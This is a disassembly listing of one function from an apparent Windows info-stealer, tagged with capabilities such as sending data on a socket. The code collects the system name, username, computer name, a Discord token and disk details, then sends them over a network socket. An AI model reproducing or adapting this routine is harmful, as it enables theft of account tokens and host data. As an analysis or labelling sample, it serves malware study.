Function at 0x140069307
Capabilities:
Send data
Send data on socket
Terminate process

Disassembly:
jmp 0x1400ff5b0
mov qword [rsp + 8], rcx
push rbp
push rdi
mov eax, 0x1028
call fcn.140069a00
sub rsp, rax
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x2de
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1048]
mov rax, qword [0x14017f080]
xor rax, rbp
mov qword [rbp + 0xfe0], rax
lea rcx, [0x14019515a]
call fcn.14006c840
nop
mov rax, qword [rbp + 0x1010]
cmp qword [rax], 0xffffffffffffffff
jne 0x1400ff612
jmp 0x140100143
xor edx, edx
lea rcx, [rbp + 8]
call fcn.14006a34c
nop
lea rax, [rbp + 0x6e8]
mov qword [rbp + 0x718], rax
lea rcx, [rbp + 0x738]
call fcn.14006c8ae
mov qword [rbp + 0xfa8], rax
mov rax, qword [rbp + 0xfa8]
mov qword [rbp + 0xfb0], rax
mov rdx, qword [rbp + 0xfb0]
lea rcx, [rbp + 0x778]
call fcn.14006c804
mov qword [rbp + 0xfb8], rax
mov rax, qword [rbp + 0xfb8]
mov qword [rbp + 0xfc0], rax
mov rdx, qword [rbp + 0xfc0]
mov rcx, qword [rbp + 0x718]
call fcn.140069d11
mov qword [rbp + 0xfc8], rax
mov rax, qword [rbp + 0xfc8]
mov qword [rbp + 0xfd0], rax
lea rdx, [0x14015ba38]
lea rcx, [rbp + 8]
call fcn.14006955a
mov qword [rbp + 0xfd8], rax
mov rdx, qword [rbp + 0xfd0]
mov rcx, qword [rbp + 0xfd8]
call fcn.14006aa95
nop
lea rcx, [rbp + 0x778]
call fcn.140069a32
nop
lea rcx, [rbp + 0x738]
call fcn.140069a32
nop
lea rax, [rbp + 0x7b8]
mov qword [rbp + 0x7e8], rax
lea rcx, [rbp + 0x808]
call fcn.14006b18e
mov qword [rbp + 0xfa8], rax
mov rax, qword [rbp + 0xfa8]
mov qword [rbp + 0xfb0], rax
mov rdx, qword [rbp + 0xfb0]
lea rcx, [rbp + 0x848]
call fcn.14006c804
mov qword [rbp + 0xfb8], rax
mov rax, qword [rbp + 0xfb8]
mov qword [rbp + 0xfc0], rax
mov rdx, qword [rbp + 0xfc0]
mov rcx, qword [rbp + 0x7e8]
call fcn.140069d11
mov qword [rbp + 0xfc8], rax
mov rax, qword [rbp + 0xfc8]
mov qword [rbp + 0xfd0], rax
lea rdx, [0x14015ba3c]
lea rcx, [rbp + 8]
call fcn.14006955a
mov qword [rbp + 0xfd8], rax
mov rdx, qword [rbp + 0xfd0]
mov rcx, qword [rbp + 0xfd8]
call fcn.14006aa95
nop
lea rcx, [rbp + 0x848]
call fcn.140069a32
nop
lea rcx, [rbp + 0x808]
call fcn.140069a32
nop
lea rax, [rbp + 0x888]
mov qword [rbp + 0x8b8], rax
lea rcx, [rbp + 0x8d8]
call fcn.14006be40
mov qword [rbp + 0xfa8], rax
mov rax, qword [rbp + 0xfa8]
mov qword [rbp + 0xfb0], rax
mov rdx, qword [rbp + 0xfb0]
lea rcx, [rbp + 0x918]
call fcn.14006c804
mov qword [rbp + 0xfb8], rax
mov rax, qword [rbp + 0xfb8]
mov qword [rbp + 0xfc0], rax
mov rdx, qword [rbp + 0xfc0]
mov rcx, qword [rbp + 0x8b8]
call fcn.140069d11
mov qword [rbp + 0xfc8], rax
mov rax, qword [rbp + 0xfc8]
mov qword [rbp + 0xfd0], rax
lea rdx, str.system
lea rcx, [rbp + 8]
call fcn.14006955a
mov qword [rbp + 0xfd8], rax
mov rdx, qword [rbp + 0xfd0]
mov rcx, qword [rbp + 0xfd8]
call fcn.14006aa95
nop
lea rcx, [rbp + 0x918]
call fcn.140069a32
nop
lea rcx, [rbp + 0x8d8]
call fcn.140069a32
nop
lea rax, [rbp + 0x958]
mov qword [rbp + 0x988], rax
call fcn.14006a185
mov qword [rbp + 0xfa8], rax
mov rax, qword [rbp + 0xfa8]
mov qword [rbp + 0x9a8], rax
lea rdx, [rbp + 0x9a8]
mov rcx, qword [rbp + 0x988]
call fcn.14006b48b
mov qword [rbp + 0xfb0], rax
mov rax, qword [rbp + 0xfb0]
mov qword [rbp + 0xfb8], rax
lea rdx, [0x14015ba40]
lea rcx, [rbp + 8]
call fcn.14006955a
mov qword [rbp + 0xfc0], rax
mov rdx, qword [rbp + 0xfb8]
mov rcx, qword [rbp + 0xfc0]
call fcn.14006aa95
nop
lea rax, [rbp + 0x9c8]
mov qword [rbp + 0x9f8], rax
lea rcx, [rbp + 0xa18]
call fcn.14006c8d1
mov qword [rbp + 0xfa8], rax
mov rax, qword [rbp + 0xfa8]
mov qword [rbp + 0xfb0], rax
mov rdx, qword [rbp + 0xfb0]
lea rcx, [rbp + 0xa58]
call fcn.14006c804
mov qword [rbp + 0xfb8], rax
mov rax, qword [rbp + 0xfb8]
mov qword [rbp + 0xfc0], rax
mov rdx, qword [rbp + 0xfc0]
mov rcx, qword [rbp + 0x9f8]
call fcn.140069d11
mov qword [rbp + 0xfc8], rax
mov rax, qword [rbp + 0xfc8]
mov qword [rbp + 0xfd0], rax
lea rdx, [0x14015ba44]
lea rcx, [rbp + 8]
call fcn.14006955a
mov qword [rbp + 0xfd8], rax
mov rdx, qword [rbp + 0xfd0]
mov rcx, qword [rbp + 0xfd8]
call fcn.14006aa95
nop
lea rcx, [rbp + 0xa58]
call fcn.140069a32
nop
lea rcx, [rbp + 0xa18]
call fcn.140069a32
nop
lea rax, [rbp + 0xa98]
mov qword [rbp + 0xac8], rax
lea rcx, [rbp + 0xae8]
call fcn.14006ba7b
mov qword [rbp + 0xfa8], rax
mov rax, qword [rbp + 0xfa8]
mov qword [rbp + 0xfb0], rax
mov rdx, qword [rbp + 0xfb0]
lea rcx, [rbp + 0xb28]
call fcn.14006c804
mov qword [rbp + 0xfb8], rax
mov rax, qword [rbp + 0xfb8]
mov qword [rbp + 0xfc0], rax
mov rdx, qword [rbp + 0xfc0]
mov rcx, qword [rbp + 0xac8]
call fcn.140069d11
mov qword [rbp + 0xfc8], rax
mov rax, qword [rbp + 0xfc8]
mov qword [rbp + 0xfd0], rax
lea rdx, str.username
lea rcx, [rbp + 8]
call fcn.14006955a
mov qword [rbp + 0xfd8], rax
mov rdx, qword [rbp + 0xfd0]
mov rcx, qword [rbp + 0xfd8]
call fcn.14006aa95
nop
lea rcx, [rbp + 0xb28]
call fcn.140069a32
nop
lea rcx, [rbp + 0xae8]
call fcn.140069a32
nop
lea rax, [rbp + 0xb68]
mov qword [rbp + 0xb98], rax
lea rcx, [rbp + 0xbb8]
call fcn.14006aa86
mov qword [rbp + 0xfa8], rax
mov rax, qword [rbp + 0xfa8]
mov qword [rbp + 0xfb0], rax
mov rdx, qword [rbp + 0xfb0]
lea rcx, [rbp + 0xbf8]
call fcn.14006c804
mov qword [rbp + 0xfb8], rax
mov rax, qword [rbp + 0xfb8]
mov qword [rbp + 0xfc0], rax
mov rdx, qword [rbp + 0xfc0]
mov rcx, qword [rbp + 0xb98]
call fcn.140069d11
mov qword [rbp + 0xfc8], rax
mov rax, qword [rbp + 0xfc8]
mov qword [rbp + 0xfd0], rax
lea rdx, str.computerName
lea rcx, [rbp + 8]
call fcn.14006955a
mov qword [rbp + 0xfd8], rax
mov rdx, qword [rbp + 0xfd0]
mov rcx, qword [rbp + 0xfd8]
call fcn.14006aa95
nop
lea rcx, [rbp + 0xbf8]
call fcn.140069a32
nop
lea rcx, [rbp + 0xbb8]
call fcn.140069a32
nop
lea rax, [rbp + 0xc38]
mov qword [rbp + 0xc68], rax
lea rcx, [rbp + 0xc88]
call fcn.14006c0c5
mov qword [rbp + 0xfa8], rax
mov rax, qword [rbp + 0xfa8]
mov qword [rbp + 0xfb0], rax
mov rdx, qword [rbp + 0xfb0]
lea rcx, [rbp + 0xcc8]
call fcn.14006c804
mov qword [rbp + 0xfb8], rax
mov rax, qword [rbp + 0xfb8]
mov qword [rbp + 0xfc0], rax
mov rdx, qword [rbp + 0xfc0]
mov rcx, qword [rbp + 0xc68]
call fcn.140069d11
mov qword [rbp + 0xfc8], rax
mov rax, qword [rbp + 0xfc8]
mov qword [rbp + 0xfd0], rax
lea rdx, [0x14015ba68]
lea rcx, [rbp + 8]
call fcn.14006955a
mov qword [rbp + 0xfd8], rax
mov rdx, qword [rbp + 0xfd0]
mov rcx, qword [rbp + 0xfd8]
call fcn.14006aa95
nop
lea rcx, [rbp + 0xcc8]
call fcn.140069a32
nop
lea rcx, [rbp + 0xc88]
call fcn.140069a32
nop
lea rcx, [rbp + 0x38]
call fcn.14006be18
mov qword [rbp + 0xfa8], rax
lea rcx, [rbp + 0x78]
call fcn.140069a5f
mov qword [rbp + 0xfa8], rax
lea rdx, str.Unknown
lea rcx, [rbp + 0x38]
call fcn.14006a626
movzx eax, al
test eax, eax
je 0x1400ffc5c
lea rcx, [rbp + 0xd08]
call fcn.14006a9dc
mov qword [rbp + 0xfa8], rax
mov rdx, qword [rbp + 0xfa8]
lea rcx, [rbp + 0x38]
call fcn.140069f19
lea rcx, [rbp + 0xd08]
call fcn.140069a32
nop
lea rcx, [rbp + 0x38]
call fcn.14006bf80
mov byte [rbp + 0xfa4], al
movzx eax, byte [rbp + 0xfa4]
test eax, eax
je 0x1400ffd3b
lea rax, [rbp + 0xd48]
mov qword [rbp + 0xd78], rax
lea rdx, [rbp + 0x38]
mov rcx, qword [rbp + 0xd78]
call fcn.14006a0fe
mov qword [rbp + 0xfa8], rax
mov rax, qword [rbp + 0xfa8]
mov qword [rbp + 0xfb0], rax
lea rdx, str.discordToken
lea rcx, [rbp + 8]
call fcn.14006955a
mov qword [rbp + 0xfb8], rax
mov rdx, qword [rbp + 0xfb0]
mov rcx, qword [rbp + 0xfb8]
call fcn.14006aa95
nop
lea rax, [rbp + 0xd98]
mov qword [rbp + 0xdc8], rax
lea rdx, [rbp + 0x78]
mov rcx, qword [rbp + 0xdc8]
call fcn.14006a0fe
mov qword [rbp + 0xfa8], rax
mov rax, qword [rbp + 0xfa8]
mov qword [rbp + 0xfb0], rax
lea rdx, [0x140148f50]
lea rcx, [rbp + 8]
call fcn.14006955a
mov qword [rbp + 0xfb8], rax
mov rdx, qword [rbp + 0xfb0]
mov rcx, qword [rbp + 0xfb8]
call fcn.14006aa95
nop
jmp 0x1400ffdfd
lea rax, [rbp + 0xde8]
mov qword [rbp + 0xe18], rax
lea rdx, str.Invalid
mov rcx, qword [rbp + 0xe18]
call fcn.14006b517
mov qword [rbp + 0xfa8], rax
mov rax, qword [rbp + 0xfa8]
mov qword [rbp + 0xfb0], rax
lea rdx, str.discordToken
lea rcx, [rbp + 8]
call fcn.14006955a
mov qword [rbp + 0xfb8], rax
mov rdx, qword [rbp + 0xfb0]
mov rcx, qword [rbp + 0xfb8]
call fcn.14006aa95
nop
lea rax, [rbp + 0xe38]
mov qword [rbp + 0xe68], rax
lea rdx, str.Unknown
mov rcx, qword [rbp + 0xe68]
call fcn.14006b517
mov qword [rbp + 0xfa8], rax
mov rax, qword [rbp + 0xfa8]
mov qword [rbp + 0xfb0], rax
lea rdx, [0x140148f50]
lea rcx, [rbp + 8]
call fcn.14006955a
mov qword [rbp + 0xfb8], rax
mov rdx, qword [rbp + 0xfb0]
mov rcx, qword [rbp + 0xfb8]
call fcn.14006aa95
nop
mov edx, 0x20
lea rcx, [rbp + 0xb8]
call fcn.14006b832
lea rcx, [rbp + 0xb8]
call fcn.14006ab6c
mov qword [rbp + 0xfa8], rax
lea rax, [rbp + 0xb8]
mov qword [rbp + 0xf8], rax
mov rcx, qword [rbp + 0xf8]
call fcn.14006cd7c
mov qword [rbp + 0x118], rax
mov rcx, qword [rbp + 0xf8]
call fcn.14006c287
mov qword [rbp + 0x138], rax
jmp 0x1400ffe69
mov rax, qword [rbp + 0x118]
add rax, 0x38
mov qword [rbp + 0x118], rax
mov rax, qword [rbp + 0x138]
cmp qword [rbp + 0x118], rax
je 0x140100049
mov rax, qword [rbp + 0x118]
mov qword [rbp + 0x158], rax
xor edx, edx
lea rcx, [rbp + 0x178]
call fcn.14006a34c
nop
lea rax, [rbp + 0xe88]
mov qword [rbp + 0xeb8], rax
mov rax, qword [rbp + 0x158]
mov rdx, rax
lea rcx, [rbp + 0xed8]
call fcn.14006c804
mov qword [rbp + 0xfa8], rax
mov rax, qword [rbp + 0xfa8]
mov qword [rbp + 0xfb0], rax
mov rdx, qword [rbp + 0xfb0]
mov rcx, qword [rbp + 0xeb8]
call fcn.140069d11
mov qword [rbp + 0xfb8], rax
mov rax, qword [rbp + 0xfb8]
mov qword [rbp + 0xfc0], rax
lea rdx, str.name
lea rcx, [rbp + 0x178]
call fcn.14006955a
mov qword [rbp + 0xfc8], rax
mov rdx, qword [rbp + 0xfc0]
mov rcx, qword [rbp + 0xfc8]
call fcn.14006aa95
nop
lea rcx, [rbp + 0xed8]
call fcn.140069a32
nop
lea rax, [rbp + 0xf18]
mov qword [rbp + 0xf48], rax
mov rax, qword [rbp + 0x158]
add rax, 0x28
mov rdx, rax
mov rcx, qword [rbp + 0xf48]
call fcn.14006916d
mov qword [rbp + 0xfa8], rax
mov rax, qword [rbp + 0xfa8]
mov qword [rbp + 0xfb0], rax
lea rdx, str.totalSpace
lea rcx, [rbp + 0x178]
call fcn.14006955a
mov qword [rbp + 0xfb8], rax
mov rdx, qword [rbp + 0xfb0]
mov rcx, qword [rbp + 0xfb8]
call fcn.14006aa95
nop
lea rax, [rbp + 0xf68]
mov qword [rbp + 0xf98], rax
mov rax, qword [rbp + 0x158]
add rax, 0x30
mov rdx, rax
mov rcx, qword [rbp + 0xf98]
call fcn.14006916d
mov qword [rbp + 0xfa8], rax
mov rax, qword [rbp + 0xfa8]
mov qword [rbp + 0xfb0], rax
lea rdx, str.freeSpace
lea rcx, [rbp + 0x178]
call fcn.14006955a
mov qword [rbp + 0xfb8], rax
mov rdx, qword [rbp + 0xfb0]
mov rcx, qword [rbp + 0xfb8]
call fcn.14006aa95
nop
lea rdx, str.disks
lea rcx, [rbp + 8]
call fcn.14006955a
mov qword [rbp + 0xfa8], rax
lea rdx, [rbp + 0x178]
mov rcx, qword [rbp + 0xfa8]
call fcn.14006c53e
nop
lea rcx, [rbp + 0x178]
call fcn.14006b5c1
nop
jmp 0x1400ffe57
mov dword [rsp + 0x28], 0
mov byte [rsp + 0x20], 0
mov r9b, 0x20
mov r8d, 0xffffffff
lea rdx, [rbp + 0x1a8]
lea rcx, [rbp + 8]
call fcn.14006c03e
mov qword [rbp + 0xfa8], rax
lea rdx, [rbp + 0x1a8]
lea rcx, [rbp + 0x1e8]
call fcn.14006b09e
nop
lea rcx, [rbp + 0x1e8]
call fcn.14006b837
mov qword [rbp + 0xfa8], rax
lea rcx, [rbp + 0x1e8]
call fcn.14006950a
xor r9d, r9d
mov rcx, qword [rbp + 0xfa8]
mov r8d, ecx
mov rdx, rax
mov rax, qword [rbp + 0x1010]
mov rcx, qword [rax]
call qword [sym.imp.WS2_32.dll_send]
mov dword [rbp + 0x224], eax
cmp dword [rbp + 0x224], 0xffffffff
jne 0x1401000fc
mov rax, qword [rbp + 0x1010]
mov rcx, qword [rax]
call qword [sym.imp.WS2_32.dll_closesocket]
nop
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_exit]
nop
lea rcx, [rbp + 0x1e8]
call fcn.140069a32
nop
lea rcx, [rbp + 0x1a8]
call fcn.140069a32
nop
lea rcx, [rbp + 0xb8]
call fcn.140069474
nop
lea rcx, [rbp + 0x78]
call fcn.140069a32
nop
lea rcx, [rbp + 0x38]
call fcn.140069a32
nop
lea rcx, [rbp + 8]
call fcn.14006b5c1
nop
jmp 0x140100143
lea rcx, [rbp - 0x30]
lea rdx, reloc.OLEAUT32.dll_VariantClear
call fcn.14006be22
mov rcx, qword [rbp + 0xfe0]
xor rcx, rbp
call fcn.14006aaf9
lea rsp, [rbp + 0xff8]
pop rdi
pop rbp
ret